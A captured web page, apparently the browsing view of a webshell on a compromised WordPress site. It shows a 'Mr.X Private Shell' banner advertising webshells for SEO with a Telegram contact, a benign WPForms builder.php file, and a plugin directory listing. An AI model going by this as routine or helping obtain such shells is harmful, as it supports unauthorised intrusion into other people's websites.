__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Helpers functions for builder.
*
* @since 1.9.6.1
*/
/**
* Outputs a button element to display the connection status for a given connection.
*
* @since 1.9.6.1
*
* @param string $connection_id The unique identifier for the connection.
* @param string $name The name attribute value to be used for the status input field.
* @param bool $is_active Connection status, where true represents active and false represents inactive.
*/
function wpforms_connection_status_button( string $connection_id, string $name, bool $is_active ) {
$label = $is_active ? __( 'Active', 'wpforms-lite' ) : __( 'Inactive', 'wpforms-lite' );
$title = $is_active ? __( 'Deactivate', 'wpforms-lite' ) : __( 'Activate', 'wpforms-lite' );
printf(
'<span class="wpforms-builder-settings-block-status wpforms-badge wpforms-badge-sm wpforms-badge-%1$s wpforms-status-button" title="%5$s" data-active="%2$s" data-connection-id="%6$s">%3$s<i class="wpforms-status-label">%4$s</i></span>',
sanitize_html_class( $is_active ? 'green' : 'silver' ),
esc_attr( $is_active ),
$is_active ? '<i class="fa fa-check"></i>' : '<i class="fa fa-times"></i>',
esc_html( $label ),
esc_attr( $title ),
esc_attr( $connection_id )
);
printf( '<input type="hidden" name="%1$s" id="wpforms-connection-status-%2$s" value="%3$d">', esc_attr( $name ), esc_attr( $connection_id ), absint( $is_active ) );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| access.php | File | 10.48 KB | 0640 |
|
| builder.php | File | 1.38 KB | 0640 |
|
| checks.php | File | 15.8 KB | 0640 |
|
| colors.php | File | 3.97 KB | 0640 |
|
| data-presets.php | File | 19.03 KB | 0640 |
|
| date-time.php | File | 2.82 KB | 0640 |
|
| debug.php | File | 5.22 KB | 0640 |
|
| education.php | File | 2.89 KB | 0640 |
|
| escape-sanitize.php | File | 13.9 KB | 0640 |
|
| filesystem-media.php | File | 6.6 KB | 0640 |
|
| form-fields.php | File | 16.92 KB | 0640 |
|
| forms.php | File | 13.52 KB | 0640 |
|
| list.php | File | 6.88 KB | 0640 |
|
| payments.php | File | 21.76 KB | 0640 |
|
| plugins.php | File | 2.38 KB | 0640 |
|
| privacy.php | File | 2.52 KB | 0640 |
|
| providers.php | File | 1.99 KB | 0640 |
|
| utilities.php | File | 8.54 KB | 0640 |
|